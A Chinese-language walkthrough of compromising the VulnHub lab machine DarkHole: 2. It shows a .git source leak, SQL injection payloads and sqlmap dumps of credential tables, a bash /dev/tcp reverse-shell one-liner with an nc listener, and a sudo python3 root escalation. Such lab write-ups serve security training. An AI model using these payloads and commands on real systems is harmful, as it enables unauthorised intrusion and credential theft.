目录
(2)使用git-dumper下载git文件夹内容到Hackup文件夹:
一.环境搭建
1.靶机下载
下载地址: DarkHole: 2 ~ VulnHub
2.启动靶场
在VMware打开刚刚下载的靶机
3.查看设置
点击导航栏的"虚拟机"->"设置"->"网络适配器"->"高级"->"MAC地址",记住这个地址并点击确定.
4.主机发现
开启kali,并进入root权限用户
sudo -s #借用超级管理员身份
arp-scan -l #列出所有已开启的主机IP
5.端口扫描
nmap 192.168.184.156 -p- #扫描该IP下的全端口
访问HTTP端口:80
192.168.184.156:80 #访问你的 IP+端口
6.目录扫描
dirsearch -u "192.168.184.156:80" #目录扫描
可以看到,扫描到了.git文件,之后我们可以使用工具将代码还原.
7.指纹收集
whatweb -v 192.168.184.156
二.WEB渗透
1.利用.git还原代码
主页面:主页面的login可以再操作,但我们暂时没有用户名和密码.
可以从其他地方进行突破.
/.git/:可以通过/.git/得到网页源代码
一提到.git,我们可以使用两款git泄露利用工具:githack、git-dumper。两款工具达成的效果是一致的,大家自行选择喜欢的工具即可。
本次渗透使用的是git-dumper。
(1)pip安装git-dumper
pip3 install -i Simple Index --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
(2)使用git-dumper下载git文件夹内容到Hackup文件夹:
git-dumper http://192.168.184.156/.git/ hackup #这里记得使用自己的IP
(3)切换到hackup文件夹,查看日志
出现了三次提交,还有哈希值,作者,时间等.
(4)对比三次提交
git diff #获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.
这里我们逐个尝试:
lush@admin.com
321
2.登录网页
登录页面在首页的右上角,我们使用刚刚获取到的账号密码进行尝试.
进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入.
3.SQL注入
(1)手动测试注入
在url后面加单引号发现页面信息消失,说明可能存在注入点
id=1' and 1=1 --+ #页面无错误
id=1' and 1=2 --+ #页面信息消失,说明id的闭合为单引号
手动注入的话,是很基础的。详细步骤省略。
http://192.168.184.156/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(username,0x2d,password) from users --+
获取到用户名和密码:
Jehad Alqurashiasddasdasdas
321
这里得到ssh表的用户名和密码:
jehad
fool
到此,我们就可以进行ssh连接了.下面是拓展工具注入的方式.着急看结果的宝宝们可以直接移步下面的ssh连接步骤.
(2)工具Cookie注入(拓展)
获取当前用户的Cookie: "F12"->"网络"->"200"->"消息头"->"请求头"->"Cookie"
这里使用kali的SQLmap工具.
sqlmap -u http://192.168.184.156/dashboard.php?id=1 --cookie PHPSESSID=hlsb2htuuob9s86eafqjkpbh9f --current-db
这里我们获取到了数据库名:darkhole_2
我们再获取他的表名:
sqlmap -u http://192.168.184.156/dashboard.php?id=1 --cookie PHPSESSID=hlsb2htuuob9s86eafqjkpbh9f --batch -D darkhole_2 -tables
得到两个表: ssh / users
查看ssh表,用于我们后面进行ssh连接.
sqlmap -u http://192.168.184.156/dashboard.php?id=1 --cookie PHPSESSID=hlsb2htuuob9s86eafqjkpbh9f --batch -D darkhole_2 -T ssh -dump
知道ssh的用户名和密码之后,我们可以尝试ssh连接.
4.ssh连接
ssh jehad@192.168.184.156 #ssh 用户名@IP
三.提权
1.查看权限
id #查看当前用户
发现我们并不是0用户(root).
2.查看活动端口
cat .bash_history #查看历史命令记录
发现本地有9999端口的服务.
ss -antp #查看socket统计信息
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。
3.查看一下本地服务的内容
4.获取losy的权限
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机.
ssh jehad@192.168.184.156 -L 9999:localhost:9999
5.反弹shell
记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。而且这个脚本属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 RCE。大概原理就是这样。
构造连接kali的命令:
bash -c ‘bash -i >& /dev/tcp/192.168.184.156/9001 0>&1’ #记得修改你的IP
使用URL 16进制编码:Url 编码/解码 - 在线工具 (toolhelper.cn)
bash+-c+%e2%80%98bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.184.156%2f9001+0%3e%261%e2%80%99
kali再开一个窗口进行监听:
nc -lvnp 9001 #监听9001端口
在kali的浏览器直接访问:
我这里反弹失败,如果看到反弹成功,就直接查看历史命令,会发现: losy的密码是gang
如果反弹失败,我们直接在浏览器输入:
6.登录losy用户
ssh losy@192.168.184.156 #登录losy用户
sudo -l #查看权限
发现有root身份执行python3的权限,python提权还是比较简单的,这可能是作者见我们前面太辛苦,这里给我们一点福利吧!
开始提权:
写一个脚本,作用是打开一个shell,用户sudo执行,那么这个shell就具有root的权限:
直接一句话搞定:
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
我们现在已经是root用户了.
成功!